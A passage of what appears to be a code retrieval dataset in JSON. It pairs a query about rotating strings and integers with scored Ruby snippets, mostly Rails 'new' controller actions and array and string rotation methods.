"0.6889311", "text": "def new\n @locacion = Locacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @locacion }\n end\n end", "title": "" }, { "docid": "144fdc61f3f1eb6a3efa50bcf93f1daf", "score": "0.6887721", "text": "def new\n @ausencia = Ausencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ausencia }\n end\n end", "title": "" }, { "docid": "427eb113bf981a0a6e4ba5f422e18713", "score": "0.68856454", "text": "def new\n @notka = Notka.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notka }\n end\n end", "title": "" }, { "docid": "0a37568b701ed57a22087e0baf19a0d4", "score": "0.68842345", "text": "def new\n @servicios = Servicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @servicios }\n end\n end", "title": "" }, { "docid": "6181e4904cdbd41cca0aa9e1a2f233ce", "score": "0.6877778", "text": "def new\n @estagiarios = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end", "title": "" }, { "docid": "dd5d9d2206e2283a5beca62dc8eb65a7", "score": "0.6873945", "text": "def new\n @dependencia = Dependencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dependencia }\n end\n end", "title": "" }, { "docid": "5004261ae669199fd33a846a63212a75", "score": "0.68736434", "text": "def new\n @directorio = Directorio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @directorio }\n end\n end", "title": "" }, { "docid": "79c766a084106c29dbfa85b40cdc77c5", "score": "0.68649316", "text": "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "title": "" }, { "docid": "3595a73de9293b0212b0091e443e2db1", "score": "0.68645597", "text": "def new\n @iguanastipo = Iguanastipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @iguanastipo }\n end\n end", "title": "" }, { "docid": "fa4dcbfe07353c9776989f1253f33db0", "score": "0.68636113", "text": "def new\n @logotipo = Logotipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @logotipo }\n end\n end", "title": "" }, { "docid": "738163e83ef0eed2a48ceb724e909998", "score": "0.6859751", "text": "def new\n @asignatura = Asignatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asignatura }\n end\n end", "title": "" }, { "docid": "856e0a9c200aab0e43e8f7240a128ada", "score": "0.6859234", "text": "def new\n @pia_ocotal = PiaOcotal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pia_ocotal }\n end\n end", "title": "" }, { "docid": "dccea0a2c7f1455c7d4dcce38b46c01b", "score": "0.68532115", "text": "def new\n @administracaos = Administracao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administracaos }\n end\n end", "title": "" }, { "docid": "5c071f2d26c7abd049e355aa44f969f6", "score": "0.6851654", "text": "def new\n @respuesta = Respuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @respuesta }\n end\n end", "title": "" }, { "docid": "9c20f4f4f668017d4ebef3abda42d8b9", "score": "0.6850376", "text": "def new\n @almacenescierre = Almacenescierre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @almacenescierre }\n end\n end", "title": "" }, { "docid": "701b5c3210563f2d5ecf68a256dd8d3e", "score": "0.6846104", "text": "def new\n @servico = Servico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @servico }\n end\n end", "title": "" }, { "docid": "eaf785f9a76dadca7df843398c3fdc84", "score": "0.684466", "text": "def new\n @autorizacion = Autorizacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @autorizacion }\n end\n end", "title": "" }, { "docid": "db57367ca4f2a6d1db2e38b029e1ecf7", "score": "0.68432975", "text": "def new\n @specificaton = Specificaton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @specificaton }\n end\n end", "title": "" }, { "docid": "dc09df5ef7d49a3f79f12d53de7f902d", "score": "0.6840348", "text": "def new #DESC: Crear nuevos talento.\n @talento = Talento.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @talento }\n end\n end", "title": "" }, { "docid": "84f046731351cf8775ccef396668d3ab", "score": "0.6840297", "text": "def new\n @questao = Questao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questao }\n end\n end", "title": "" }, { "docid": "5fe4ce1e2aff372cb203018ac3370362", "score": "0.6836394", "text": "def new\n @tipo_documento = TipoDocumento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_documento }\n end\n end", "title": "" }, { "docid": "a6901c694bbb6e9dad5dbe9451f388c6", "score": "0.68359923", "text": "def novo\n @aluno = Aluno.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aluno }\n end\n end", "title": "" }, { "docid": "856d914d784de8661967fafb271f9108", "score": "0.6832184", "text": "def new\n @ilmoitu = Ilmoitu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ilmoitu }\n end\n end", "title": "" }, { "docid": "f26f3b9c144b2c34a472dfd0ff5f440d", "score": "0.6831934", "text": "def new\n @ufalta = Ufalta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ufalta }\n end\n end", "title": "" }, { "docid": "bc8d2e25721a210d56d3e2f1e77c5896", "score": "0.6831477", "text": "def new\n @historia = Historia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @historia }\n end\n end", "title": "" }, { "docid": "d3536ed4e0dbbf3e71d0f4b7cd0f5814", "score": "0.68269795", "text": "def new\n @saidas = Saida.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @saidas }\n end\n end", "title": "" }, { "docid": "531a21d6765bab7e5061603c7415d783", "score": "0.68262005", "text": "def new\n @piso = Piso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @piso }\n end\n end", "title": "" }, { "docid": "ee0589c67abd56d0504bb4d7bb6a00df", "score": "0.6825574", "text": "def new\n @pessoa = Pessoa.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "title": "" }, { "docid": "b5d61e99736035bc631cb8267e3b3581", "score": "0.68234736", "text": "def new\n @societe = Societe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @societe }\n end\n end", "title": "" }, { "docid": "052ab944a8cc9d1796ea972f19724058", "score": "0.68225396", "text": "def new\n @administraciones = Administraciones.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administraciones }\n end\n end", "title": "" }, { "docid": "a60d8ad4fc2aa169dd3617312d7c0f6a", "score": "0.68205875", "text": "def new\n @bolsista = Bolsista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bolsista }\n end\n end", "title": "" }, { "docid": "c33df6219c8065815fe00b377b806322", "score": "0.6820095", "text": "def new\n @referencia = Referencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @referencia }\n end\n end", "title": "" }, { "docid": "e59ec9e9f87c111b31115ba1e9e2e7a2", "score": "0.6818115", "text": "def new\n @nada = Nada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nada }\n end\n end", "title": "" }, { "docid": "405b3aa117ccabd4bafe376e8202ae1f", "score": "0.6816095", "text": "def new\n @destaque = Destaque.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @destaque }\n end\n end", "title": "" }, { "docid": "055aa2f5512d3f080cf320eaed186130", "score": "0.68156135", "text": "def new\n @autorizador = Autorizador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @autorizador }\n end\n end", "title": "" }, { "docid": "f272af160cd91b0670e1f422ca8cac4d", "score": "0.6815442", "text": "def new\n @autorizacion = Autorizacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @autorizacion }\n end\n end", "title": "" }, { "docid": "55d640b9204aaa8b7ef501c6a85391a5", "score": "0.6812555", "text": "def new\r\n @lancamento = Lancamento.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @lancamento }\r\n end\r\n end", "title": "" }, { "docid": "dc5353d150cf106f0105b445482fe465", "score": "0.6811202", "text": "def new\n @lcotiza = Lcotiza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lcotiza }\n end\n end", "title": "" }, { "docid": "cf2e483a3d66271b69626a73d0a7a0a6", "score": "0.6808307", "text": "def new\n @acceso = Acceso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @acceso }\n end\n end", "title": "" }, { "docid": "8fe35191158cd5452db04765032d6b35", "score": "0.680748", "text": "def new\n @correctivo = Correctivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @correctivo }\n end\n end", "title": "" }, { "docid": "223dba9fcf930c959a367bfa66120799", "score": "0.68064535", "text": "def new\n @documentotraslado = Documentotraslado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentotraslado }\n end\n end", "title": "" }, { "docid": "41e014bf8b17af5ebe05969f37ae1762", "score": "0.68055815", "text": "def new\n @entree = Entree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entree }\n end\n end", "title": "" }, { "docid": "41650db805ea0751d4314f77d3199296", "score": "0.6804278", "text": "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end", "title": "" }, { "docid": "41650db805ea0751d4314f77d3199296", "score": "0.6804278", "text": "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end", "title": "" }, { "docid": "b2c30a813579fb3817f3973691cb38ed", "score": "0.68005157", "text": "def new\n @plato = Plato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plato }\n end\n end", "title": "" }, { "docid": "0216144750bba4b160468bf6163b9432", "score": "0.6799911", "text": "def new\n @tiposcaracteristica = Tiposcaracteristica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tiposcaracteristica }\n end\n end", "title": "" }, { "docid": "ef8e0b92469fbe55e65deffb0344f549", "score": "0.67998147", "text": "def new\n @indicador = Indicador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @indicador }\n end\n end", "title": "" }, { "docid": "9dfc2a56831966b28176f565347f318b", "score": "0.6799059", "text": "def new\n @selo = Selo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @selo }\n end\n end", "title": "" }, { "docid": "820bc7151db68f2236d1aa92918ad067", "score": "0.6794873", "text": "def new\n @depositario = Depositario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @depositario }\n end\n end", "title": "" } ]
d719cb0331e390c7a2236120702c6d30
=> true Further exploration Write a method for rotating strings and then integers. Can use rotate array method.
[ { "docid": "84468cff7f5bbc72fb8af93ec2b87a5e", "score": "0.6892532", "text": "def rotate_string(string)\n rotate_array(string.chars).join\nend", "title": "" } ]
[ { "docid": "7d14d30cc1a417aada6d090ae827b936", "score": "0.7655597", "text": "def rotate1(input_array)\n # TODO\nend", "title": "" }, { "docid": "cf20eaaa25f8296bb19d40200a4e05c8", "score": "0.75116813", "text": "def rotate2(input_array)\n # TODO\nend", "title": "" }, { "docid": "dfb9592e81eeaf9603dba4d578faf47b", "score": "0.73316306", "text": "def rotate_array(string)\n string[1..-1] + string[0]\nend", "title": "" }, { "docid": "c1f5afdf1285df5c4e38bce53a967dc2", "score": "0.7307363", "text": "def rotate_string(string)\n new_string = string.chars\n rotate_array(new_string)\nend", "title": "" }, { "docid": "5bcf1793e0ce217a68114863c0248836", "score": "0.7214498", "text": "def rotate_array(arr, num)\n\nend", "title": "" }, { "docid": "5e4da30c804e5f239a5f9c5cc1e5df70", "score": "0.721004", "text": "def rotations(input)\n #turns input variable into a string, then adds every element of that string into a new array\n digits = input.to_s.chars\n #goes through every element of that array and rotates them (necessary for permutation, then converts that array back into a string, then back to integers\n digits.map {digits.rotate!.join.to_i}\n end", "title": "" }, { "docid": "a13cd29dcfb9b9bf00f489d5f9ab86a7", "score": "0.7181826", "text": "def rotate(input)\n if input.to_s == input\n string_arr = input.split('')\n rotate_array(string_arr).join\n else\n rotate_array(input)\n end\nend", "title": "" }, { "docid": "3e3f08f333f7042b272424ab3db2cc24", "score": "0.7164594", "text": "def rotate_str(str)\n rotate_array(str.split(''))\nend", "title": "" }, { "docid": "d246e21e6cb0384b19a4c75c2a2d81bc", "score": "0.7147622", "text": "def string_rotation_no_rotate(str_1, str_2)\n str_2_arr = str_2.chars\n (str_2.length + 1).times do\n return true if str_1 == str_2_arr.join\n rotate_char, *str_2_arr = str_2_arr # use rest operator to catch the rest of the array\n str_2_arr << rotate_char # push value on end of array\n end\n false\nend", "title": "" }, { "docid": "dc28baa28d9d63a78d928e9e1af52245", "score": "0.7141552", "text": "def rotate(array, shift)\nend", "title": "" }, { "docid": "42a0565497f16dcdbfb314e799585a2b", "score": "0.7103646", "text": "def rotate(num)\n array = num.to_s.chars\n new_arr = array[1..-1], array[0]\n new_arr.join.to_i\nend", "title": "" }, { "docid": "9a485fff1ac7a7b5ef5ded24e0e21475", "score": "0.7081872", "text": "def array_rotation arr, num\n arr.rotate(num)\nend", "title": "" }, { "docid": "082f3378f83830af3e416e0032927ba9", "score": "0.7077004", "text": "def test_Array_InstanceMethod_rotate!\n\t\ta = [1,2,3,4,5]\n\t\t# assert [3,4,5,1,2], a.rotate(2)\n\t\t# assert [4,5,1,2,3], a.rotate(-2)\n\tend", "title": "" }, { "docid": "f07530201ba1f22b27b132beb7979248", "score": "0.7076745", "text": "def test_Array_InstanceMethod_rotate\n\t\ta = [1,2,3,4,5]\n\t\t# assert [3,4,5,1,2], a.rotate(2)\n\t\t# assert [4,5,1,2,3], a.rotate(-2)\n\tend", "title": "" }, { "docid": "b9cc2754744a8e61f01c4b8d179a3ce0", "score": "0.7060374", "text": "def my_rotate_test()\n a = [ \"a\", \"b\", \"c\", \"d\" ]\n p a.my_rotate #=> [\"b\", \"c\", \"d\", \"a\"]\n p a.my_rotate(2) #=> [\"c\", \"d\", \"a\", \"b\"]\n p a.my_rotate(-3) #=> [\"b\", \"c\", \"d\", \"a\"]\n p a.my_rotate(15) #=> [\"d\", \"a\", \"b\", \"c\"]\nend", "title": "" }, { "docid": "bc2877d9f6a0e37649bccf30313fd5a0", "score": "0.7053617", "text": "def transformation_rotation(int_array_array)\n\tint_array_array.rotate_right\nend", "title": "" }, { "docid": "2f527bdd455ffec6a6dff6d9c5bc764e", "score": "0.7036873", "text": "def rotations(s)\n len = s.length\n# puts s\n# puts\n 0.upto(len-1).map do |offset|\n (s.slice(offset, len - offset) + s.slice(0, offset))\n end\nend", "title": "" }, { "docid": "65c008d3926c5bc04baef91326566651", "score": "0.7001796", "text": "def rotate_string(string)\n rotate_array_2(string.chars).join\nend", "title": "" }, { "docid": "da2cc59b47c06d49d0af3117a5394f79", "score": "0.69998556", "text": "def rotate(str)\n str[1..-1] + str[0]\nend", "title": "" }, { "docid": "a69e57b507dd34eb353dccf4bba53321", "score": "0.69938236", "text": "def test_9\n #Test rotating arrays one step\n arr = [1,2,3]\n arr.rotate_left\n assert_equal([2,3,1], arr)\n\n arr = [6,5,4,3,2,1]\n arr.rotate_left\n assert_equal([5,4,3,2,1,6], arr)\n\n arr = [1]\n arr.rotate_left\n assert_equal([1], arr)\n\n #Test rotating various amount of steps on various arrays\n arr = [1,2,3,4]\n arr.rotate_left(4)\n assert_equal([1,2,3,4], arr)\n\n arr = [1,2,3,4]\n arr.rotate_left(2)\n assert_equal([3,4,1,2], arr)\n\n arr = [1,2]\n arr.rotate_left(3)\n assert_equal([2,1], arr)\n\n arr = [1,2]\n arr.rotate_left(4)\n assert_equal([1,2], arr)\n end", "title": "" }, { "docid": "e260385a380e13406c13a9de4d3c631d", "score": "0.69433445", "text": "def rot13(string)\n\nend", "title": "" }, { "docid": "e260385a380e13406c13a9de4d3c631d", "score": "0.69433445", "text": "def rot13(string)\n\nend", "title": "" }, { "docid": "7c92afe43ae7aee733464911ebcdba56", "score": "0.6936482", "text": "def rotate_array(\n array:,\n rotation:\n )\n rotation.times do\n temp = array.shift\n array.push(temp)\n end\n array\nend", "title": "" }, { "docid": "63cdd1f06a97d182e345c0100f04a10c", "score": "0.6929528", "text": "def rotate_string(str)\n rotate_array(str.split('')).join\nend", "title": "" }, { "docid": "37daf6baa3765e46b57db73b5a6d4dd3", "score": "0.69231", "text": "def test_rotation_small_array\n assert_equal([4], @target.rotate([4], 6))\n end", "title": "" }, { "docid": "0d9df8233b83b9e3ae90e997a99661af", "score": "0.6907476", "text": "def rotate(input)\n\nend", "title": "" }, { "docid": "d309164fe8ae78aa94e4f941d256598e", "score": "0.6868552", "text": "def eq_rotate?(s1, s2)\n # We need array#rotate.\n str_s1 = s1.split(\"\") \n str_s2 = s2.split(\"\")\n 1.upto(s1.size-1) {|r| return true if str_s1 == str_s2.rotate(r) }\n false\nend", "title": "" }, { "docid": "78b00f7b2082bdae29b106bd87bca3a1", "score": "0.6854258", "text": "def rotate_string(orig)\n orig[1..-1] + orig[0]\nend", "title": "" }, { "docid": "659c4760135f079d114379bb66aa8a46", "score": "0.6853143", "text": "def Rotation(input , no_of_rot , n)\n d = no_of_rot\n temp_arr = input\n for i in 0..d-1\n temp_arr = Left_Array_Rotation(temp_arr , n)\n end\n for i in 0..n-1\n print(temp_arr[i].to_s + \" \")\n end\nend", "title": "" }, { "docid": "f2bd0a8b78992c798e7c51c77db87e63", "score": "0.6827002", "text": "def rot(strng)\n strng.reverse\nend", "title": "" }, { "docid": "be1019f363c0bc3adb0a994897a28ca7", "score": "0.6806097", "text": "def rotation?(string)\n (string * 2).include? self\n end", "title": "" }, { "docid": "a3a391b7a2b071a5d6886cbf598baf0b", "score": "0.68038076", "text": "def canBeRotated? a, b\n x = 0\n while x < a.length\n a = a.split(\"\").rotate().join(\"\")\n if a == b\n return true\n end\n x += 1\n end\n return false\nend", "title": "" }, { "docid": "ed88cd5b65afead0abeeedb8c8f8beaf", "score": "0.6790192", "text": "def rotate_str(str)\n rotate_array(str.split(\"\")).join\nend", "title": "" }, { "docid": "babf62062859ef0803ff6abbb0a35247", "score": "0.6784425", "text": "def array_rotate(arr, int)\n if int >= arr.length or int <= 0\n return false\n else\n count = 0\n while count <= int\n arr << arr.shift(int)\n count += 1\n end\n end\n arr\nend", "title": "" }, { "docid": "fada2c62a2f48749ce3f579b737eb511", "score": "0.67802584", "text": "def rotate_string(string)\n string[1..-1] + string[0]\nend", "title": "" }, { "docid": "fada2c62a2f48749ce3f579b737eb511", "score": "0.67802584", "text": "def rotate_string(string)\n string[1..-1] + string[0]\nend", "title": "" }, { "docid": "fada2c62a2f48749ce3f579b737eb511", "score": "0.67802584", "text": "def rotate_string(string)\n string[1..-1] + string[0]\nend", "title": "" }, { "docid": "fada2c62a2f48749ce3f579b737eb511", "score": "0.67802584", "text": "def rotate_string(string)\n string[1..-1] + string[0]\nend", "title": "" }, { "docid": "e82ebb4ae2b911c65e33351963f4c93a", "score": "0.6780133", "text": "def rotate(vect); end", "title": "" }, { "docid": "e82ebb4ae2b911c65e33351963f4c93a", "score": "0.6780133", "text": "def rotate(vect); end", "title": "" }, { "docid": "9aefbafe67053f7c6655c6e55bf94760", "score": "0.6779593", "text": "def rotate_array(object)\n type = object.class\n object = object.to_s if type == Integer\n\n arr = object.size.times.map do |index|\n next object[0] if index == object.size - 1\n object[index + 1]\n end\n\n return arr.join.to_i if type == Integer\n type == String ? arr.join : arr\nend", "title": "" }, { "docid": "aedaadb4af98f85f05a511b135033609", "score": "0.67691", "text": "def rotate_string(string)\n rotate_array(string.chars).join(\"\")\nend", "title": "" }, { "docid": "d5382eda0b0e8975da3164223acfa6ce", "score": "0.67597055", "text": "def rotation_a?(s1, s2)\n is_substring?(s1 + s1, s2)\nend", "title": "" }, { "docid": "87e69aa4ee0b8c9ba080f2080854d7c9", "score": "0.67592037", "text": "def string_rotation s1, s2\n (s1+s1).include? s2\nend", "title": "" }, { "docid": "775466a815ed877dd38f0f86eb2eeced", "score": "0.67497414", "text": "def rotate_90_in_place(array)\n print_array(array)\n process(array, 0, array.length-1, array[0][array.length-1])\n print_array(array)\nend", "title": "" }, { "docid": "befebefc74ed48f606e402c1302d7dd5", "score": "0.67425585", "text": "def rotate_string(string)\n result = rotate_array(string.split(''))\n result.join\nend", "title": "" }, { "docid": "c73f379bc588a7d12c49cb5e858ccf87", "score": "0.67264104", "text": "def rotation? s1, s2\n substring?(s1*2, s2)\nend", "title": "" }, { "docid": "52cbc5441bed096379526c6147bc4072", "score": "0.6725049", "text": "def string_rotation(string1, string2)\n double_string1 = string1 * 2\n \n return double_string1.include?(string2)\nend", "title": "" }, { "docid": "6a296801904b8772d814c05d870e7758", "score": "0.670724", "text": "def check_array(numbers)\n rotated = numbers[1], numbers[2], numbers[0];\n\treturn rotated;\nend", "title": "" }, { "docid": "2a332b25874b2f73eedf8b31d03634f3", "score": "0.67040735", "text": "def rotate(str)\n arr = str.chars\n arr2 = []\n (arr.size - 1).times do\n arr.push(arr[0])\n arr.slice!(0, 1)\n arr2 << arr.join\n end\n str == '' ? [] : arr2.push(str)\nend", "title": "" }, { "docid": "ce15042fbad5021b745068bd24958b4e", "score": "0.6696255", "text": "def rot_n(string, n)\nend", "title": "" }, { "docid": "ee9a21a7307bdb69fdc49beb51ebf8bb", "score": "0.6694092", "text": "def rotate_a\n @key.chars.values_at(0,1).join.to_i\n end", "title": "" }, { "docid": "c8f0708e8ba6e9cd4e51a74409f107c2", "score": "0.6679214", "text": "def rotation?(str1, str2)\n return false if str1.length != str2.length\n (str1*2).split('').each_cons(str1.length).to_a.each do |chunk|\n return true if chunk.join == str2\n end\n\n false\nend", "title": "" }, { "docid": "2924d8effa56b2036410f819f5a318c8", "score": "0.66791", "text": "def rotate_array(i,arr)\n\tp arr.rotate(i)\nend", "title": "" }, { "docid": "b7be5eb3c6c74d3fa0d50e1e9d20e2f3", "score": "0.6676992", "text": "def test_rotation_one\n assert_equal([5,1,2,3,4], @target.rotate([1,2,3,4,5], 1))\n end", "title": "" }, { "docid": "deec9781c3182122d89ad97a18dc34be", "score": "0.6672942", "text": "def array_rotation(array, rotations)\n result = []\n array.each_with_index do |num, i|\n complete_rotations = (i + rotations) / array.length\n moves_realised = complete_rotations * array.length\n remaining_moves = rotations - moves_realised\n result[i + remaining_moves] = num\n end\n result\nend", "title": "" }, { "docid": "ec5535a0bfdeda0925acfee75f626a1f", "score": "0.6657087", "text": "def isRotation (s1, s2)\n\n\n\n if s2.length > s1.length\n return false\n\n s2 = s2 << s2\n\n s2.include?(s1)\n\nend", "title": "" }, { "docid": "01e4f250a6947ba869a1a57658d68f64", "score": "0.6653478", "text": "def rotate_string(string)\n array = string.split('')\n array = rotate_array(array)\n array.join\nend", "title": "" }, { "docid": "740664a01ab121d83520034907ae39ab", "score": "0.6649402", "text": "def is_rotation str1, str2\n i = 0\n while i < str1.size\n if str1 == str2\n return true\n else\n str1 << str1.slice!(0)\n end\n i += 1\n end\n\n return false\nend", "title": "" }, { "docid": "d9198912bf6444a4369b615a3e9d5a04", "score": "0.6642243", "text": "def rotate_string(str)\n str[1..-1] + str[0]\nend", "title": "" }, { "docid": "a409c00a54603c2eca79c379cb266ca2", "score": "0.6638826", "text": "def ArrayRotation(arr)\n result = []\n result << arr.slice!(arr[0], arr.length - 1)\n result << arr\n result.flatten.join\nend", "title": "" }, { "docid": "4edfbeebc68bec6256c59d93afa5ea18", "score": "0.6633568", "text": "def rotate\n @rotation = (@rotation + 1) % 26\n rotation\n end", "title": "" }, { "docid": "10989e3057dbdab1433f0b96f69b7e26", "score": "0.66303563", "text": "def rotate_string(a, b)\n return true if a.empty? && b.empty?\n a.chars.each.with_index do |x,index|\n return true if a[index+1 .. a.length]+a[0 .. index] == b\n end\n return false\nend", "title": "" }, { "docid": "7c06b47afb275bd13c05da3639de2cf7", "score": "0.6628303", "text": "def rotations\n digits = self.to_s\n rotations = [self]\n\n # Shift digits left\n (0...digits.length).each do |offset|\n temp = self.to_s\n temp << digits[0..offset]\n temp.slice!(0..offset)\n rotations << temp.to_i\n end\n\n # Shift digits right\n (0...digits.length).each do |offset|\n temp = self.to_s\n temp.insert(0, digits[-(offset + 1)..-1])\n temp.slice!(-(offset + 1)..-1)\n rotations << temp.to_i\n end\n\n rotations\n end", "title": "" }, { "docid": "fde371891e107f871ca95faafbac648b", "score": "0.6623296", "text": "def rotate_string(s, goal)\n s.length.times do ||\n \nend", "title": "" }, { "docid": "c01adb887fc46b4bbc9c1e266a20932f", "score": "0.6618924", "text": "def rot13(string)\n alphabet = {\n 'A' => 'N',\n 'B' => 'O',\n 'C' => 'P',\n 'D' => 'Q',\n 'E' => 'R',\n 'F' => 'S',\n 'G' => 'T',\n 'H' => 'U',\n 'I' => 'V',\n 'J' => 'W',\n 'K' => 'X',\n 'L' => 'Y',\n 'M' => 'Z',\n 'N' => 'A',\n 'O' => 'B',\n 'P' => 'C',\n 'Q' => 'D',\n 'R' => 'E',\n 'S' => 'F',\n 'T' => 'G',\n 'U' => 'H',\n 'V' => 'I',\n 'W' => 'J',\n 'X' => 'K',\n 'Y' => 'L',\n 'Z' => 'M'\n }\n\n new_string_arr = []\n\n string.split(\"\").each do |i|\n # Split string into an array of its characters\n new_string_arr.push(alphabet[i])\n # Outside the loop is an empty arrray, to push in the transformed letters\n # For each letter in the split string array, the value of the key with that same\n # letter in the alphabet hash will be pushed into new_string_arr\n end\n\n new_string_arr.join('')\n # Join new_string_arr back together and return this final string\n\nend", "title": "" }, { "docid": "58c8e2ab50f32c844e07d8b8c7f05710", "score": "0.66180134", "text": "def rotated?(original, arr)\n #check size\n if original.length != arr.length\n return false\n end\n\n #find first element of original in arr\n first_element_index = nil\n for i in 0...arr.length\n if (arr[i] == original[0])\n first_element_index = i\n puts \"first element index = #{i}\"\n break\n end\n end\n\n if (!first_element_index)\n return false\n end\n\n for i in 0...arr.length\n if (original[i] != arr[(i + first_element_index) % arr.length])\n return false\n end\n end\n return true\n end", "title": "" }, { "docid": "4f1e7745cc353bd4f5dfa4e6473d3385", "score": "0.6615572", "text": "def is_rotation?(first_string, second_string)\n first_string = first_string + first_string\n is_substring(first_string, second_string)\nend", "title": "" }, { "docid": "b4f656ddf65e90cca08ee935c623e524", "score": "0.66145754", "text": "def rotate_string(string)\n rotate_array(string.split(//)).join\nend", "title": "" }, { "docid": "7da3754adb725bdf3d29dcca92a5b84d", "score": "0.6596034", "text": "def rotate(array, shift)\n beg_arr = []\n i = 0\n \n if shift > 0\n \t\n \tuntil i > shift\n \t beg_arr << array[i]\n \t i += 1\n \tend\n \t array + beg_arr\n else\n \t\n \t i = shift + 1\n \t beg_arr << array[i]\n \n \n end\nend", "title": "" }, { "docid": "df643eba66b60978e7cefefd9369c573", "score": "0.6594794", "text": "def rotate (arr,k)\n\n rotated=arr.rotate(k)\np rotated\nend", "title": "" }, { "docid": "67e998b84bec536ff31755b341dab990", "score": "0.65879184", "text": "def batters_box(array)\n\n puts array.rotate\n puts array.rotate(2)\n puts array.rotate(3)\n array << \"New Player\"\n puts array\n\nend", "title": "" }, { "docid": "3a57495b7b9b1b58311537e43da7048b", "score": "0.6586803", "text": "def rotate_array(numbers)\n numbers[1..-1] + [numbers[0]]\nend", "title": "" }, { "docid": "2269619f1a92d75b8a65bf25e5bad252", "score": "0.6584923", "text": "def easy_rotation?(str1, str2)\n # Cover edge case where one arg isn't a string\n raise ArgumentError, \"Non-string argument(s) used.\" unless str1.is_a?(String) && str2.is_a?(String)\n # Immediately reject arguments without matching lengths\n return false unless str1.length == str2.length\n\n # Add str1 to itself to hold all possible rotations within one string\n check = str1 + str1\n\n # Check the doubled up string for str2 and return false if it's not found\n return false unless check.include?(str2)\n\n true\nend", "title": "" }, { "docid": "f375653525e73f5dac0222b45279cc60", "score": "0.6581985", "text": "def left_rotate()\n for i in 0...@rotate_by\n puts \"AS:: #{i}\"\n left_rotateby_one\n end\n puts \"Array after rotation is #{@array}\"\n end", "title": "" }, { "docid": "15cd13980e12ab2126d50b50b0ffb7ea", "score": "0.6569674", "text": "def is_rotation?(other)\n other.length.times do\n other = rotate(other)\n return true if other == self\n end\n false\n end", "title": "" }, { "docid": "df171118b3892bb5db11e1be266249e8", "score": "0.65630245", "text": "def is_rotation?(str1, str2)\n is_substr?(str1 * 2, str2)\nend", "title": "" }, { "docid": "d134b65f80a6b9f9c3a1b7e0d423b8f7", "score": "0.6559653", "text": "def revrot(string, size)\r\n #chunking step\r\n return '' if string.empty? || size.zero?\r\n first_index = 0\r\n second_index = nil\r\n result = []\r\n string.each_char.with_index do |char, index|\r\n if (index + 1) % size == 0\r\n second_index = index\r\n result << string[first_index..second_index]\r\n first_index = index + 1\r\n end\r\n end\r\n\r\n #converting string chunks to arrays of digits\r\n result2 = []\r\n result.each do |chunk|\r\n result2 << chunk.to_i.digits\r\n end\r\n \r\n #cubing all of the digits\r\n result3 = result2.map do |subarray|\r\n subarray.map do |integer|\r\n integer ** 3\r\n end\r\n end\r\n \r\n #summing all of the cubes\r\n sum_of_cubes = result3.map do |subarray|\r\n subarray.sum\r\n end\r\n \r\n #evaluating if the sums are even and then reversing them, or if they're odd, rotating to the left\r\n sum_of_cubes.each_with_index do |subarray, 